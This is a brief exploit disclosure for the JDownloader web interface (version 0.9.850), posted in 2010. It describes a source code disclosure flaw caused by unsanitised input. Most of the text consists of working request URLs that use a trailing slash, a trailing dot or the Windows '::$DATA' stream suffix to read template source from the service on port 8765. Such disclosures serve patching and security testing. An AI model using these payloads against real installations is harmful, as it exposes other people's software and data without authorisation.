JDownloader Webinterface – Source Code Disclosure
# Exploit Title: JDownloader Webinterface Source Code Disclosure # Date: 11/24/10 # Author: Sil3nt_Dre4m # Software Link: http://jdownloader.org # Version: Latest (0.9.850) # Tested on: Windows, Linux JDownloader WebInterface is vulnerable to a source code disclosure exploit to due not properly sanitizing user input. Linux: http://127.0.0.1:8765/index.tmpl/ Windows: http://127.0.0.1:8765/index.tmpl. http://127.0.0.1:8765/index.tmpl::$DATA http://127.0.0.1:8765/index.tmpl/ |